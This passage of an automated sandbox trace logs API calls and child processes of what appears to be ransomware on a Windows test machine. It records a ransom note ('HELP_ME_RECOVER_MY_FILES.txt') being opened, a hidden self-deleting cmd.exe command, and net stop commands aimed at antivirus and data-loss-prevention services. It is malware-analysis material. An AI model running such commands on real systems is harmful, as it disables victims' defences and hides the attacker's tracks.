CloseHandle (hObject=0x380) returned 1 [0228.042] CloseHandle (hObject=0x314) returned 1 [0228.061] CloseHandle (hObject=0x314) returned 1 [0228.086] CloseHandle (hObject=0x380) returned 1 [0228.104] CloseHandle (hObject=0x380) returned 1 [0228.124] CloseHandle (hObject=0x4c4) returned 1 [0228.170] CloseHandle (hObject=0x314) returned 1 [0228.170] CloseHandle (hObject=0x4c4) returned 1 [0228.247] CloseHandle (hObject=0x314) returned 1 [0228.247] CloseHandle (hObject=0x4c4) returned 1 [0228.282] CloseHandle (hObject=0x4c4) returned 1 [0228.317] CloseHandle (hObject=0x314) returned 1 [0228.371] CloseHandle (hObject=0x380) returned 1 [0228.371] CloseHandle (hObject=0x314) returned 1 [0228.454] CloseHandle (hObject=0x314) returned 1 [0228.510] CloseHandle (hObject=0x380) returned 1 [0228.529] CloseHandle (hObject=0x380) returned 1 [0228.566] CloseHandle (hObject=0x4c4) returned 1 [0228.587] CloseHandle (hObject=0x4c4) returned 1 [0228.628] CloseHandle (hObject=0x314) returned 1 [0228.667] CloseHandle (hObject=0x380) returned 1 [0228.667] CloseHandle (hObject=0x314) returned 1 [0228.688] CloseHandle (hObject=0x314) returned 1 [0228.732] CloseHandle (hObject=0x380) returned 1 [0228.763] CloseHandle (hObject=0x4c4) returned 1 [0228.763] CloseHandle (hObject=0x380) returned 1 [0228.792] CloseHandle (hObject=0x380) returned 1 [0228.834] CloseHandle (hObject=0x4c4) returned 1 [0228.854] CloseHandle (hObject=0x4c4) returned 1 [0228.887] CloseHandle (hObject=0x314) returned 1 [0228.909] CloseHandle (hObject=0x314) returned 1 [0228.966] CloseHandle (hObject=0x380) returned 1 [0228.986] CloseHandle (hObject=0x380) returned 1 [0229.011] CloseHandle (hObject=0x4c4) returned 1 [0229.031] CloseHandle (hObject=0x4c4) returned 1 [0229.061] CloseHandle (hObject=0x314) returned 1 [0229.085] CloseHandle (hObject=0x314) returned 1 [0230.099] CloseHandle (hObject=0x380) returned 1 [0230.121] CloseHandle (hObject=0x380) returned 1 [0230.822] CloseHandle (hObject=0x4c4) returned 1 [0230.906] CloseHandle (hObject=0x4c4) returned 1 [0232.944] CloseHandle (hObject=0x314) returned 1 [0233.030] CloseHandle (hObject=0x380) returned 1 [0233.030] CloseHandle (hObject=0x314) returned 1 [0233.111] CloseHandle (hObject=0x380) returned 1 [0233.112] CloseHandle (hObject=0x314) returned 1 [0233.281] CloseHandle (hObject=0x380) returned 1 [0233.281] CloseHandle (hObject=0x314) returned 1 [0233.301] CloseHandle (hObject=0x314) returned 1 [0233.371] CloseHandle (hObject=0x380) returned 1 [0233.442] CloseHandle (hObject=0x380) returned 1 [0233.532] CloseHandle (hObject=0x4c4) returned 1 [0233.552] CloseHandle (hObject=0x4c4) returned 1 [0233.621] CloseHandle (hObject=0x314) returned 1 [0233.694] CloseHandle (hObject=0x380) returned 1 [0233.694] CloseHandle (hObject=0x314) returned 1 [0233.762] CloseHandle (hObject=0x314) returned 1 [0233.864] CloseHandle (hObject=0x380) returned 1 [0233.952] CloseHandle (hObject=0x4c4) returned 1 [0233.952] CloseHandle (hObject=0x380) returned 1 [0234.026] CloseHandle (hObject=0x4c4) returned 1 [0234.026] CloseHandle (hObject=0x380) returned 1 [0234.105] CloseHandle (hObject=0x4c4) returned 1 [0234.105] CloseHandle (hObject=0x380) returned 1 [0234.124] CloseHandle (hObject=0x380) returned 1 [0234.145] CloseHandle (hObject=0x4c4) returned 1 [0234.168] CloseHandle (hObject=0x314) returned 1 [0234.169] CloseHandle (hObject=0x4c4) returned 1 [0234.264] CloseHandle (hObject=0x314) returned 1 [0234.264] CloseHandle (hObject=0x4c4) returned 1 [0234.310] CloseHandle (hObject=0x314) returned 1 [0234.310] CloseHandle (hObject=0x4c4) returned 1 [0234.331] CloseHandle (hObject=0x4c4) returned 1 [0234.377] CloseHandle (hObject=0x314) returned 1 [0234.440] CloseHandle (hObject=0x380) returned 1 [0234.441] CloseHandle (hObject=0x314) returned 1 [0234.469] CloseHandle (hObject=0x314) returned 1 [0234.557] CloseHandle (hObject=0x380) returned 1 [0234.631] CloseHandle (hObject=0x4c4) returned 1 [0234.631] CloseHandle (hObject=0x380) returned 1 [0234.723] CloseHandle (hObject=0x4c4) returned 1 [0234.723] CloseHandle (hObject=0x380) returned 1 [0234.754] CloseHandle (hObject=0x380) returned 1 [0234.859] CloseHandle (hObject=0x4c4) returned 1 [0234.918] CloseHandle (hObject=0x4c4) returned 1 [0235.012] CloseHandle (hObject=0x314) returned 1 [0235.074] CloseHandle (hObject=0x380) returned 1 [0235.074] CloseHandle (hObject=0x314) returned 1 [0235.111] CloseHandle (hObject=0x380) returned 1 [0235.111] CloseHandle (hObject=0x314) returned 1 [0235.301] CloseHandle (hObject=0x380) returned 1 [0235.302] CloseHandle (hObject=0x314) returned 1 [0235.324] CloseHandle (hObject=0x314) returned 1 [0235.346] CloseHandle (hObject=0x380) returned 1 [0235.478] CloseHandle (hObject=0x4c4) returned 1 [0235.479] CloseHandle (hObject=0x380) returned 1 [0235.584] CloseHandle (hObject=0x4c4) returned 1 [0235.584] CloseHandle (hObject=0x380) returned 1 [0235.649] CloseHandle (hObject=0x380) returned 1 [0235.667] CloseHandle (hObject=0x4c4) returned 1 [0235.755] CloseHandle (hObject=0x314) returned 1 [0235.755] CloseHandle (hObject=0x4c4) returned 1 [0235.847] CloseHandle (hObject=0x314) returned 1 [0235.847] CloseHandle (hObject=0x4c4) returned 1 [0250.216] EtwEventUnregister (RegHandle=0x3800010001) returned 0x0 [0250.216] EtwEventUnregister (RegHandle=0x3900010001) returned 0x0 [0250.222] GdipDisposeImage (image=0x1ad941a0) returned 0x0 [0250.234] FreeContextBuffer (in: pvContextBuffer=0x1c5bf190 | out: pvContextBuffer=0x1c5bf190) returned 0x0 [0250.234] CloseHandle (hObject=0x1fc) returned 1 [0250.235] CloseHandle (hObject=0x2ac) returned 1 [0250.235] WinHttpCloseHandle (hInternet=0x1a60d080) returned 1 [0250.236] setsockopt (s=0x5e8, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0250.236] closesocket (s=0x5e8) returned 0 [0250.237] CloseHandle (hObject=0x5ec) returned 1 [0250.237] CloseHandle (hObject=0x560) returned 1 [0250.238] CloseHandle (hObject=0x55c) returned 1 [0250.238] RegCloseKey (hKey=0x558) returned 0x0 [0250.239] CloseHandle (hObject=0x554) returned 1 [0250.239] RegCloseKey (hKey=0x550) returned 0x0 [0250.239] CloseHandle (hObject=0x54c) returned 1 [0250.240] RegCloseKey (hKey=0x548) returned 0x0 [0250.240] RegCloseKey (hKey=0x544) returned 0x0 [0250.240] CloseHandle (hObject=0x52c) returned 1 [0250.241] setsockopt (s=0x524, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0250.241] closesocket (s=0x524) returned 0 [0250.241] CloseHandle (hObject=0x528) returned 1 [0250.242] setsockopt (s=0x4d0, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0250.242] closesocket (s=0x4d0) returned 0 [0250.242] CloseHandle (hObject=0x520) returned 1 [0250.243] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0250.243] setsockopt (s=0x5f0, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0250.243] closesocket (s=0x5f0) returned 0 [0250.243] CloseHandle (hObject=0x5f4) returned 1 [0250.244] FreeCredentialsHandle (phCredential=0x2247860) returned 0x0 [0250.245] CloseHandle (hObject=0x4d4) returned 1 [0250.245] UnmapViewOfFile (lpBaseAddress=0x7b0000) returned 1 [0250.247] CloseHandle (hObject=0x1f0) returned 1 [0250.247] UnmapViewOfFile (lpBaseAddress=0x4c0000) returned 1 [0250.248] setsockopt (s=0x4c4, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0250.248] closesocket (s=0x4c4) returned 0 [0250.253] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 59 os_tid = 0xe8c Thread: id = 174 os_tid = 0xa40 Thread: id = 175 os_tid = 0x594 Thread: id = 176 os_tid = 0xd1c Thread: id = 177 os_tid = 0xc44 Thread: id = 178 os_tid = 0xc54 Thread: id = 179 os_tid = 0xc50 Thread: id = 180 os_tid = 0xc3c [0105.645] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0105.648] ResetEvent (hEvent=0x4dc) returned 1 [0214.400] QueryContextAttributesW (in: phContext=0x2247a68, ulAttribute=0x1a, pBuffer=0x1c31eb18 | out: pBuffer=0x1c31eb18) returned 0x0 [0214.402] DeleteSecurityContext (phContext=0x2247a68) returned 0x0 [0214.404] shutdown (s=0x5e4, how=2) returned 0 [0214.405] setsockopt (s=0x5e4, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0214.405] closesocket (s=0x5e4) returned 0 Thread: id = 181 os_tid = 0xc4c Thread: id = 215 os_tid = 0x890 Thread: id = 245 os_tid = 0xecc [0216.988] CoGetContextToken (in: pToken=0x1c20f940 | out: pToken=0x1c20f940) returned 0x0 [0216.988] CObjectContext::QueryInterface () returned 0x0 [0216.988] CObjectContext::GetCurrentThreadType () returned 0x0 [0216.988] Release () returned 0x0 Thread: id = 250 os_tid = 0xf20 Thread: id = 256 os_tid = 0xf48 Thread: id = 257 os_tid = 0xf94 [0249.116] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0249.117] ShellExecuteExW (in: pExecInfo=0x2a39428*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="notepad.exe", lpParameters="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2a39428*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="notepad.exe", lpParameters="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x2ac)) returned 1 [0249.351] CoGetContextToken (in: pToken=0x1b4ef580 | out: pToken=0x1b4ef580) returned 0x0 [0249.675] CoUninitialize () Thread: id = 259 os_tid = 0xfb8 [0249.770] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0249.770] ShellExecuteExW (in: pExecInfo=0x2a3a008*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="\"/C choice /C Y /N /D Y /T 3 & Del \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2a3a008*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="\"/C choice /C Y /N /D Y /T 3 & Del \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x1fc)) returned 1 [0249.807] CoGetContextToken (in: pToken=0x1b50f960 | out: pToken=0x1b50f960) returned 0x0 [0249.807] CoUninitialize () Process: id = "4" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x55a04000" os_pid = "0xe90" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"net.exe\" stop avpsus /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 60 os_tid = 0xe94 Process: id = "5" image_name = "net1.exe" filename = "c:\\windows\\system32\\net1.exe" page_root = "0x5b6d5000" os_pid = "0xea4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xe90" cmd_line = "C:\\Windows\\system32\\net1 stop avpsus /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 61 os_tid = 0xea8 [0097.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xafa30 | out: lpSystemTimeAsFileTime=0xafa30*(dwLowDateTime=0xfde47e00, dwHighDateTime=0x1d5eccb)) [0097.770] GetCurrentProcessId () returned 0xea4 [0097.770] GetCurrentThreadId () returned 0xea8 [0097.770] GetTickCount () returned 0x1153295 [0097.770] QueryPerformanceCounter (in: lpPerformanceCount=0xafa38 | out: lpPerformanceCount=0xafa38*=17861163949) returned 1 [0097.771] GetModuleHandleW (lpModuleName=0x0) returned 0xfffc0000 [0097.771] __set_app_type (_Type=0x1) [0097.771] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffd9c9c) returned 0x0 [0097.771] __getmainargs (in: _Argc=0xfffe4780, _Argv=0xfffe4790, _Env=0xfffe4788, _DoWildCard=0, _StartInfo=0xfffe479c | out: _Argc=0xfffe4780, _Argv=0xfffe4790, _Env=0xfffe4788) returned 0 [0097.771] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0097.771] GetConsoleOutputCP () returned 0x1b5 [0097.771] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfffecec0 | out: lpCPInfo=0xfffecec0) returned 1 [0097.771] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0097.773] sprintf_s (in: _DstBuf=0xaf9d8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0097.774] setlocale (category=0, locale=".437") returned="English_United States.437" [0097.775] GetStdHandle (nStdHandle=0xfffffff5) returned 0x1f8 [0097.775] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0097.775] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop avpsus /y" [0097.775] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xaf770, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c [0097.775] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0x0, Size=0x70) returned 0xfc1e0 [0097.775] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0 [0097.775] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xaf9c8 | out: Buffer=0xaf9c8*=0xfc260) returned 0x0 [0097.775] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xaf9c8 | out: Buffer=0xaf9c8*=0xfc280) returned 0x0 [0097.775] _fileno (_File=0x7feffb12a80) returned -2 [0097.776] _setmode (_FileHandle=-2, _Mode=16384) returned -1 [0097.776] _wcsicmp (_String1="accounts", _String2="stop") returned -18 [0097.776] _wcsicmp (_String1="computer", _String2="stop") returned -16 [0097.776] _wcsicmp (_String1="config", _String2="stop") returned -16 [0097.776] _wcsicmp (_String1="continue", _String2="stop") returned -16 [0097.776] _wcsicmp (_String1="cont", _String2="stop") returned -16 [0097.776] _wcsicmp (_String1="file", _String2="stop") returned -13 [0097.776] _wcsicmp (_String1="files", _String2="stop") returned -13 [0097.776] _wcsicmp (_String1="group", _String2="stop") returned -12 [0097.776] _wcsicmp (_String1="groups", _String2="stop") returned -12 [0097.776] _wcsicmp (_String1="help", _String2="stop") returned -11 [0097.776] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11 [0097.776] _wcsicmp (_String1="localgroup", _String2="stop") returned -7 [0097.776] _wcsicmp (_String1="pause", _String2="stop") returned -3 [0097.776] _wcsicmp (_String1="session", _String2="stop") returned -15 [0097.776] _wcsicmp (_String1="sessions", _String2="stop") returned -15 [0097.776] _wcsicmp (_String1="sess", _String2="stop") returned -15 [0097.776] _wcsicmp (_String1="share", _String2="stop") returned -12 [0097.776] _wcsicmp (_String1="start", _String2="stop") returned -14 [0097.776] _wcsicmp (_String1="stats", _String2="stop") returned -14 [0097.776] _wcsicmp (_String1="statistics", _String2="stop") returned -14 [0097.776] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0097.777] _wcsicmp (_String1="accounts", _String2="avpsus") returned -19 [0097.777] _wcsicmp (_String1="computer", _String2="avpsus") returned 2 [0097.777] _wcsicmp (_String1="config", _String2="avpsus") returned 2 [0097.777] _wcsicmp (_String1="continue", _String2="avpsus") returned 2 [0097.777] _wcsicmp (_String1="cont", _String2="avpsus") returned 2 [0097.777] _wcsicmp (_String1="file", _String2="avpsus") returned 5 [0097.777] _wcsicmp (_String1="files", _String2="avpsus") returned 5 [0097.777] _wcsicmp (_String1="group", _String2="avpsus") returned 6 [0097.777] _wcsicmp (_String1="groups", _String2="avpsus") returned 6 [0097.777] _wcsicmp (_String1="help", _String2="avpsus") returned 7 [0097.777] _wcsicmp (_String1="helpmsg", _String2="avpsus") returned 7 [0097.777] _wcsicmp (_String1="localgroup", _String2="avpsus") returned 11 [0097.777] _wcsicmp (_String1="pause", _String2="avpsus") returned 15 [0097.777] _wcsicmp (_String1="session", _String2="avpsus") returned 18 [0097.777] _wcsicmp (_String1="sessions", _String2="avpsus") returned 18 [0097.777] _wcsicmp (_String1="sess", _String2="avpsus") returned 18 [0097.777] _wcsicmp (_String1="share", _String2="avpsus") returned 18 [0097.777] _wcsicmp (_String1="start", _String2="avpsus") returned 18 [0097.777] _wcsicmp (_String1="stats", _String2="avpsus") returned 18 [0097.777] _wcsicmp (_String1="statistics", _String2="avpsus") returned 18 [0097.777] _wcsicmp (_String1="stop", _String2="avpsus") returned 18 [0097.777] _wcsicmp (_String1="time", _String2="avpsus") returned 19 [0097.777] _wcsicmp (_String1="user", _String2="avpsus") returned 20 [0097.777] _wcsicmp (_String1="users", _String2="avpsus") returned 20 [0097.777] _wcsicmp (_String1="msg", _String2="avpsus") returned 12 [0097.777] _wcsicmp (_String1="messenger", _String2="avpsus") returned 12 [0097.777] _wcsicmp (_String1="receiver", _String2="avpsus") returned 17 [0097.777] _wcsicmp (_String1="rcv", _String2="avpsus") returned 17 [0097.777] _wcsicmp (_String1="netpopup", _String2="avpsus") returned 13 [0097.777] _wcsicmp (_String1="redirector", _String2="avpsus") returned 17 [0097.777] _wcsicmp (_String1="redir", _String2="avpsus") returned 17 [0097.778] _wcsicmp (_String1="rdr", _String2="avpsus") returned 17 [0097.778] _wcsicmp (_String1="workstation", _String2="avpsus") returned 22 [0097.778] _wcsicmp (_String1="work", _String2="avpsus") returned 22 [0097.778] _wcsicmp (_String1="wksta", _String2="avpsus") returned 22 [0097.778] _wcsicmp (_String1="prdr", _String2="avpsus") returned 15 [0097.778] _wcsicmp (_String1="devrdr", _String2="avpsus") returned 3 [0097.778] _wcsicmp (_String1="lanmanworkstation", _String2="avpsus") returned 11 [0097.778] _wcsicmp (_String1="server", _String2="avpsus") returned 18 [0097.778] _wcsicmp (_String1="svr", _String2="avpsus") returned 18 [0097.778] _wcsicmp (_String1="srv", _String2="avpsus") returned 18 [0097.778] _wcsicmp (_String1="lanmanserver", _String2="avpsus") returned 11 [0097.778] _wcsicmp (_String1="alerter", _String2="avpsus") returned -10 [0097.778] _wcsicmp (_String1="netlogon", _String2="avpsus") returned 13 [0097.778] _wcsupr (in: _String="avpsus" | out: _String="AVPSUS") returned="AVPSUS" [0097.779] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0xfcaf0 [0097.783] GetServiceKeyNameW (in: hSCManager=0xfcaf0, lpDisplayName="AVPSUS", lpServiceName=0xfffe5750, lpcchBuffer=0xaf8e8 | out: lpServiceName="", lpcchBuffer=0xaf8e8) returned 0 [0097.785] _wcsicmp (_String1="msg", _String2="AVPSUS") returned 12 [0097.785] _wcsicmp (_String1="messenger", _String2="AVPSUS") returned 12 [0097.785] _wcsicmp (_String1="receiver", _String2="AVPSUS") returned 17 [0097.785] _wcsicmp (_String1="rcv", _String2="AVPSUS") returned 17 [0097.785] _wcsicmp (_String1="redirector", _String2="AVPSUS") returned 17 [0097.785] _wcsicmp (_String1="redir", _String2="AVPSUS") returned 17 [0097.785] _wcsicmp (_String1="rdr", _String2="AVPSUS") returned 17 [0097.785] _wcsicmp (_String1="workstation", _String2="AVPSUS") returned 22 [0097.785] _wcsicmp (_String1="work", _String2="AVPSUS") returned 22 [0097.785] _wcsicmp (_String1="wksta", _String2="AVPSUS") returned 22 [0097.785] _wcsicmp (_String1="prdr", _String2="AVPSUS") returned 15 [0097.785] _wcsicmp (_String1="devrdr", _String2="AVPSUS") returned 3 [0097.785] _wcsicmp (_String1="lanmanworkstation", _String2="AVPSUS") returned 11 [0097.785] _wcsicmp (_String1="server", _String2="AVPSUS") returned 18 [0097.785] _wcsicmp (_String1="svr", _String2="AVPSUS") returned 18 [0097.785] _wcsicmp (_String1="srv", _String2="AVPSUS") returned 18 [0097.785] _wcsicmp (_String1="lanmanserver", _String2="AVPSUS") returned 11 [0097.785] _wcsicmp (_String1="alerter", _String2="AVPSUS") returned -10 [0097.785] _wcsicmp (_String1="netlogon", _String2="AVPSUS") returned 13 [0097.786] NetServiceControl (in: servername=0x0, service="AVPSUS", opcode=0x0, arg=0x0, bufptr=0xaf8f0 | out: bufptr=0xaf8f0) returned 0x889 [0097.788] wcscpy_s (in: _Destination=0xfffe80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0097.788] LoadLibraryW (lpLibFileName="NETMSG") returned 0x756d0000 [0097.790] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x756d0000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0xfffe5b50, nSize=0x800, Arguments=0xfffe7f90 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0097.791] GetFileType (hFile=0x0) returned 0x0 [0097.792] LocalAlloc (uFlags=0x0, uBytes=0x3c) returned 0xf62d0 [0097.792] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="The service name is invalid.\r\n", cchWideChar=30, lpMultiByteStr=0xf62d0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The service name is invalid.\r\n", lpUsedDefaultChar=0x0) returned 30 [0097.792] WriteFile (in: hFile=0x0, lpBuffer=0xf62d0, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0) returned 0 [0097.792] LocalFree (hMem=0xf62d0) returned 0x0 [0097.792] GetFileType (hFile=0x0) returned 0x0 [0097.792] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0xfe090 [0097.792] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=2, lpMultiByteStr=0xfe090, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x0f", lpUsedDefaultChar=0x0) returned 2 [0097.792] WriteFile (in: hFile=0x0, lpBuffer=0xfe090, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0) returned 0 [0097.792] LocalFree (hMem=0xfe090) returned 0x0 [0097.792] _ultow (in: _Dest=0x889, _Radix=718880 | out: _Dest=0x889) returned="2185" [0097.792] FormatMessageW (in: dwFlags=0x2800, lpSource=0x756d0000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xfffe5b50, nSize=0x800, Arguments=0xfffe7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0097.792] GetFileType (hFile=0x0) returned 0x0 [0097.792] LocalAlloc (uFlags=0x0, uBytes=0x68) returned 0xfdb00 [0097.792] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="More help is available by typing NET HELPMSG 2185.\r\n", cchWideChar=52, lpMultiByteStr=0xfdb00, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="More help is available by typing NET HELPMSG 2185.\r\n.", lpUsedDefaultChar=0x0) returned 52 [0097.792] WriteFile (in: hFile=0x0, lpBuffer=0xfdb00, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0) returned 0 [0097.792] LocalFree (hMem=0xfdb00) returned 0x0 [0097.792] GetFileType (hFile=0x0) returned 0x0 [0097.792] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0xfe090 [0097.792] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=2, lpMultiByteStr=0xfe090, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x0f", lpUsedDefaultChar=0x0) returned 2 [0097.792] WriteFile (in: hFile=0x0, lpBuffer=0xfe090, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xaf7b0, lpOverlapped=0x0) returned 0 [0097.792] LocalFree (hMem=0xfe090) returned 0x0 [0097.793] NetApiBufferFree (Buffer=0xfc260) returned 0x0 [0097.793] NetApiBufferFree (Buffer=0xfc280) returned 0x0 [0097.793] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop avpsus /y" [0097.793] exit (_Code=2) Process: id = "6" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x77046000" os_pid = "0xeac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"net.exe\" stop McAfeeDLPAgentService /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0xeb0 Process: id = "7" image_name = "net1.exe" filename = "c:\\windows\\system32\\net1.exe" page_root = "0x7bcba000" os_pid = "0xec0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xeac" cmd_line = "C:\\Windows\\system32\\net1 stop McAfeeDLPAgentService /y" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 63 os_tid = 0xec4 [0098.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f9f0 | out: lpSystemTimeAsFileTime=0x10f9f0*(dwLowDateTime=0xfe11b820, dwHighDateTime=0x1d5eccb)) [0098.059] GetCurrentProcessId () returned 0xec0 [0098.059] GetCurrentThreadId () returned 0xec4 [0098.059] GetTickCount () returned 0x11533be [0098.059] QueryPerformanceCounter (in: lpPerformanceCount=0x10f9f8 | out: lpPerformanceCount=0x10f9f8*=17890096003) returned 1 [0098.061] GetModuleHandleW (lpModuleName=0x0) returned 0xff880000 [0098.061] __set_app_type (_Type=0x1) [0098.061] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff899c9c) returned 0x0 [0098.061] __getmainargs (in: _Argc=0xff8a4780, _Argv=0xff8a4790, _Env=0xff8a4788, _DoWildCard=0, _StartInfo=0xff8a479c | out: _Argc=0xff8a4780, _Argv=0xff8a4790, _Env=0xff8a4788) returned 0 [0098.062] HeapSetInformation 